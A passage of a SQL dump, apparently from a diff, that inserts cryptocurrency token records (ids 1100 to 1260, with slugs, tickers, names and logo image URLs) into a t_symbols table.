(1100, 'lgcy-network', 'LGCY', 'LGCY Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lgcy-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1101, 'liberty-cash', 'LCS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liberty-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (1102, 'mstable', 'MTA', 'mStable Governance: Meta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mstable.png', NULL); +INSERT INTO `t_symbols` VALUES (1103, 'vestchain', 'VEST', 'VestChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vestchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1104, '1sg', '1SG', '1SG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1sg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1105, 'suterusu', 'SUTER', 'Suterusu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suterusu.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1106, 'goodomy', 'GOOD', 'Goodomy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goodomy.png', NULL); +INSERT INTO `t_symbols` VALUES (1107, 'volume-network', 'VOL', 'Volume Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/volume-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1108, 'waves-community-token', 'WCT', 'Waves Community', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves-community-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1109, 'peps-coin', 'PEPS', 'PEPS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peps-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1110, 'apis', 'APIS', 'APIS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apis.png', NULL); +INSERT INTO `t_symbols` VALUES (1111, 'unilayer', 'LAYER', 'UniLayer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unilayer.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1112, 'galaxy-network', 'GN', 'galaxy-network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galaxy-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1113, 'heroeschained', 'HEC', 'Heroes Chained', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heroeschained.png', NULL); +INSERT INTO `t_symbols` VALUES (1114, 'patron', 'PAT', 'Patron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/patron.png', NULL); +INSERT INTO `t_symbols` VALUES (1115, 'zen-protocol', 'ZP', 'Zen Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zen-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1116, 'bze', 'BZE', 'BZEdge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bze.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1117, 'denarius', 'D', 'Denarius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/denarius.png', NULL); +INSERT INTO `t_symbols` VALUES (1118, 'genopets', 'GENE', 'Genopets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genopets.png', NULL); +INSERT INTO `t_symbols` VALUES (1119, 'data-exchange', 'DTX', 'DaTa eXchange DTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data-exchange.png', NULL); +INSERT INTO `t_symbols` VALUES (1120, 'free-coin', 'FREE', 'FREEdom Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/free-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1121, 'vsc', 'VSC', 'vSportCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vsc.png', NULL); +INSERT INTO `t_symbols` VALUES (1122, 'zg', 'ZG', 'ZG Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1123, 'oceanchain', 'OC', 'OceanChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oceanchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1124, 'shel', 'SHEL', 'shelterDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shel.png', NULL); +INSERT INTO `t_symbols` VALUES (1125, 'decimated', 'DIO', 'Decimated', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decimated.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1126, 'snovio', 'SNOV', 'Snovian.Space', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snovio.png', NULL); +INSERT INTO `t_symbols` VALUES (1127, 'putincoin', 'PUT', 'PUTinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/putincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1128, 'gfcc2', 'GFCC2', 'gfcc2', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1129, 'veriblock', 'VBK', 'VeriBlock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/0ab7b0d72cf1432fd49f2530aed5d0c4.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1130, 'wscoin', 'WSCOIN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1131, 'starta', 'STA', 'Starta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starta.png', NULL); +INSERT INTO `t_symbols` VALUES (1132, 'zenzo', 'ZNZ', 'ZENZO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenzo.png', NULL); +INSERT INTO `t_symbols` VALUES (1133, 'bing', 'BING', 'bing', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bing.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1134, 'karma-eos', 'KARMA', 'KARMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/_KarmaTeam_.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1135, 'hord', 'HORD', 'Hord', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hord.png', NULL); +INSERT INTO `t_symbols` VALUES (1136, 'gmtoken', 'GM', 'GhostMarket', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ghostmarket.png', NULL); +INSERT INTO `t_symbols` VALUES (1137, 'betking', 'BKB', 'betking', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betking.png', NULL); +INSERT INTO `t_symbols` VALUES (1138, 'btn', 'BTN', 'BitNew Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btn.png', NULL); +INSERT INTO `t_symbols` VALUES (1139, 'lympo', 'LYM', 'Lympo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lympo.png', NULL); +INSERT INTO `t_symbols` VALUES (1140, 'gstcoin', 'GST', 'GSTCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gstcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1141, 'biz', 'BIZ', 'BIZAIN Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biz.png', NULL); +INSERT INTO `t_symbols` VALUES (1142, 'define', 'DFA', 'DeFine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/define.png', NULL); +INSERT INTO `t_symbols` VALUES (1143, 'dovu', 'DOV', 'Dovu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/dovuofficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1144, 'smartmesh', 'SMT', 'SmartMesh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartmesh.png', NULL); +INSERT INTO `t_symbols` VALUES (1145, 'ubique-chain-of-things', 'UCT', 'Ubique Chain Of Things', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubique-chain-of-things.png', NULL); +INSERT INTO `t_symbols` VALUES (1146, 'young-animation-artist', 'YAA', 'Young Animation Artist', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/young-animation-artist.png', NULL); +INSERT INTO `t_symbols` VALUES (1147, 'aurora', 'AOA', 'Aurora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora.png', NULL); +INSERT INTO `t_symbols` VALUES (1148, 'auto', 'AUTO', 'Auto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auto.png', NULL); +INSERT INTO `t_symbols` VALUES (1149, 'africa-chain-token', 'FCT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/africa-chain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1150, 'pillar', 'PLR', 'Pillar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pillar.png', NULL); +INSERT INTO `t_symbols` VALUES (1151, 'mol', 'MOL', 'Molecule', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1152, 'sidus-senatetoken', 'SENATE', 'SENATE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sidus.png', NULL); +INSERT INTO `t_symbols` VALUES (1153, 'stakenet', 'XSN', 'Stakenet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakenet.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1154, 'newyorkcoin', 'NYC', 'NYCCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newyorkcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1155, 'dify-finance', 'YFIII', 'Dify.Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dify-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (1156, 'kok-coin', 'KOK', 'KOK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kok-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1157, 'vegawallet-token', 'VGW', 'VegaWallet Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vegawallet-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1158, 'sapien', 'SPN', 'Sapien', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sapien.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1159, 'realio-network', 'RIO', 'Realio Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realio-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1160, 'waykichain', 'WICC', 'WaykiChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waykichain.png', NULL); +INSERT INTO `t_symbols` VALUES (1161, 'rubycoin', 'RBY', 'Rubycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rubycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1162, 'cypher', 'CYR', 'Cypher', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cypher.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1163, 'cryptocean', 'CRON', 'Cryptocean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptocean.png', NULL); +INSERT INTO `t_symbols` VALUES (1164, 'veros', 'VRS', 'Veros', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veros.png', NULL); +INSERT INTO `t_symbols` VALUES (1165, 'bloomtoken', 'BLT', 'Bloom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloomtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1166, 'piedao-dough-v2', 'DOUGH', 'PieDAO DOUGH v2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piedao-dough-v2.png', NULL); +INSERT INTO `t_symbols` VALUES (1167, 'mithril', 'MITH', 'Mithril', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mithril.png', NULL); +INSERT INTO `t_symbols` VALUES (1168, 'swace', 'SWACE', 'Swace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swace.png', NULL); +INSERT INTO `t_symbols` VALUES (1169, 'interstellar-holdings', 'HOLD', 'Stellar Holdings', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/interstellar-holdings.png', NULL); +INSERT INTO `t_symbols` VALUES (1170, 'ecobit', 'ECOB', 'Ecobit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecobit.png', NULL); +INSERT INTO `t_symbols` VALUES (1171, 'bankex', 'BKX', 'BANKEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bankex.png', NULL); +INSERT INTO `t_symbols` VALUES (1172, 'nxt', 'NXT', 'NXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nxt.png', NULL); +INSERT INTO `t_symbols` VALUES (1173, 'ozziecoin', 'OZC', 'Ozziecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ozziecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1174, 'leverj', 'LEV', 'Leverj', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Leverj_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1175, 'swc', 'SWC', 'swc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1176, 'karma', 'KRM', 'Karma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/karma.png', NULL); +INSERT INTO `t_symbols` VALUES (1177, 'lamden', 'TAU', 'Lamden', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/lamdentau.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1178, 'ipchain', 'IPC', 'IPChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1179, 'signals-network', 'SGN', 'Signals Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signals-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1180, 'perion', 'PERC', 'Perion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/perion.png', NULL); +INSERT INTO `t_symbols` VALUES (1181, 'lua-token', 'LUA', 'LuaSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lua-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1182, 'memetic', 'MEME', 'Memetic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/memetic.png', NULL); +INSERT INTO `t_symbols` VALUES (1183, 'iqeon', 'IQN', 'IQeon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iqeon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1184, 'cleardao', 'CLH', 'ClearDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cleardao.png', NULL); +INSERT INTO `t_symbols` VALUES (1185, 'pickle-finance', 'PICKLE', 'Pickle Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pickle-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1186, 'lcc', 'LCC', 'lcc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Liteclassic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1187, 'dotcoin', 'DOT', 'Dotcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dotcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1188, 'coinus', 'CNUS', 'CoinUs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinus.png', NULL); +INSERT INTO `t_symbols` VALUES (1189, 'swapfolio', 'SWFL', 'Swapfolio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swapfolio.png', NULL); +INSERT INTO `t_symbols` VALUES (1190, 'spiking', 'SPIKE', 'Spiking', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spiking.png', NULL); +INSERT INTO `t_symbols` VALUES (1191, 'eternity', 'ENT', 'Eternity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eternity.png', NULL); +INSERT INTO `t_symbols` VALUES (1192, 'tenx', 'PAY', 'TenX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tenx.png', NULL); +INSERT INTO `t_symbols` VALUES (1193, 'eminer', 'EM', 'Eminer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/eminer.png', NULL); +INSERT INTO `t_symbols` VALUES (1194, 'intrerlay', 'INTR', 'Interlay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/interlay.png', NULL); +INSERT INTO `t_symbols` VALUES (1195, 'tolar', 'TOL', 'Tolar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tolar.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1196, 'dether', 'DTH', 'Dether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dether.png', NULL); +INSERT INTO `t_symbols` VALUES (1197, 'bnktothefuture', 'BFT', 'BnkToTheFuture', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bnktothefuture.png', NULL); +INSERT INTO `t_symbols` VALUES (1198, 'beacon', 'BECN', 'Beacon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beacon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1199, 'arcona', 'ARCONA', 'Arcona', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcona.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1200, 'bitcoinus', 'BITS', 'Bitcoinus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1201, 'coss', 'COS', 'COS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coss.png', NULL); +INSERT INTO `t_symbols` VALUES (1202, 'webchain', 'MINTME', 'MintMe.com Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1203, 'lightning-bitcoin', 'LBTC', 'Lightning Bitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightning-bitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1204, 'gbcgoldcoin', 'GBC', 'GBCGoldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gbcgoldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1205, 'thekey', 'TKY', 'THEKEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thekey.png', NULL); +INSERT INTO `t_symbols` VALUES (1206, 'atlant', 'ATL', 'ATLANT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlant.png', NULL); +INSERT INTO `t_symbols` VALUES (1207, 'achain', 'ACT', 'Achain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/achainofficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1208, 'sashimi', 'SASHIMI', 'Sashimi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sashimi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1209, 'hld', 'HLD', 'HIGHLAND', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hld.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1210, 'change', 'CAG', 'Change', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/change.png', NULL); +INSERT INTO `t_symbols` VALUES (1211, 'cajutel', 'CAJ', 'Cajutel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cajutel.png', NULL); +INSERT INTO `t_symbols` VALUES (1212, 'dollarcoin', 'DLC', 'Dollarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dollarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1213, 'gmb', 'GMB', 'GAMB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gmb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1214, 'zippie', 'ZIPT', 'Zippie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zippie.png', NULL); +INSERT INTO `t_symbols` VALUES (1215, 'dentacoin', 'DCN', 'Dentacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dentacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1216, 'dextrust', 'DETS', 'Dextrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dextrust.png', NULL); +INSERT INTO `t_symbols` VALUES (1217, 'opacity', 'OPCT', 'Opacity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/opacity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1218, 'swingby', 'SWINGBY', 'Swingby', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swingby.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1219, 'aichain', 'AIT', 'AICHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aichain.png', NULL); +INSERT INTO `t_symbols` VALUES (1220, 'abl', 'ABL', 'Airbloc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abl.png', NULL); +INSERT INTO `t_symbols` VALUES (1221, 'modadao', 'MODA', 'MODA DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/modadao.png', NULL); +INSERT INTO `t_symbols` VALUES (1222, 'cryptoworld-vip', 'CWV', 'CWV Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoworld-vip.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1223, 'vites', 'VITES', 'Vites', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vites.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1224, 'top-network', 'TOP', 'TOP Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/top-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1225, 'vnx-exchange-utility-token', 'VNXLU', 'VNX Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vnx-exchange-utility-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1226, 'tixlnew', 'TXL', 'Autobahn Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tixlnew.png', NULL); +INSERT INTO `t_symbols` VALUES (1227, 'colossuscoin-v2', 'CV2', 'Colossuscoin V2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ColossuscoinV2.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1228, 'neblio', 'NEBL', 'Neblio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neblio.png', NULL); +INSERT INTO `t_symbols` VALUES (1229, 'conceal', 'CCX', 'Conceal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conceal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1230, 'cononchain', 'CZR', 'CanonChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cononchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1231, 'riodefi', 'RFUEL', 'RioDeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/riodefi.png', NULL); +INSERT INTO `t_symbols` VALUES (1232, 'stellite', 'XTL', 'Stellite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stellite.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1233, 'hydro-protocol', 'HOT', 'Hydro Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydro-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1234, 'jesus-coin', 'JC', 'Jesus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jesus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1235, 'blackcoin', 'BLK', 'BlackCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blackcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1236, '0xbtc', '0XBTC', '0xBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0xbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (1237, 'pac', 'PAC', 'PAC Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pac.png', NULL); +INSERT INTO `t_symbols` VALUES (1238, 'ether-1', 'ETHO', 'Etho Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ether-1.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1239, 'bobs-repair', 'BOB', 'Bob\'s Repair', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bobs-repair.png', NULL); +INSERT INTO `t_symbols` VALUES (1240, 'motocoin', 'MOTO', 'Motocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/motocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1241, 'tidex-token', 'TDX', 'Tidex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tidex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1242, 'gus', 'GUS', 'GuessCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gus.png', NULL); +INSERT INTO `t_symbols` VALUES (1243, 'ultranote-coin', 'XUN', 'UltraNote Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultranote-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1244, 'bitcoinz', 'BTCZ', 'BitcoinZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BitcoinZTeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1245, 'binance-gbp-stable-coin', 'BGBP', 'BGBP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-gbp-stable-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1246, 'definafinance', 'FINA', 'Defina Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/definafinance.png', NULL); +INSERT INTO `t_symbols` VALUES (1247, 'equilibria', 'XEQ', 'Equilibria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/equilibria.png', NULL); +INSERT INTO `t_symbols` VALUES (1248, 'time-new-bank', 'TNB', 'Time New Bank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/time-new-bank.png', NULL); +INSERT INTO `t_symbols` VALUES (1249, 'planet-token', 'PLA', 'PLANET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/planet-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1250, 'oio', 'OIO', 'Online', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oio.png', NULL); +INSERT INTO `t_symbols` VALUES (1251, 'carlivechain', 'IOV', 'IOV BlockChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carlivechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1252, 'cryptaldash', 'CRD', 'CRD Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptaldash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1253, 'changex', 'CHANGE', 'ChangeX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/changex.png', NULL); +INSERT INTO `t_symbols` VALUES (1254, 'piratecash', 'PIRATE', 'PirateCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piratecash.png', NULL); +INSERT INTO `t_symbols` VALUES (1255, 'cryptaur', 'CPT', 'Cryptaur', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptaur.png', NULL); +INSERT INTO `t_symbols` VALUES (1256, 'vezt', 'VZT', 'Vezt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VeztInc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1257, 'starname', 'IOV', 'Starname', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starname.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1258, 'zumcoin', 'ZUM', 'ZumCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zumcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1259, 'mr', 'MR', 'mr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1260, 'nework', 'NKC', 'Nework', 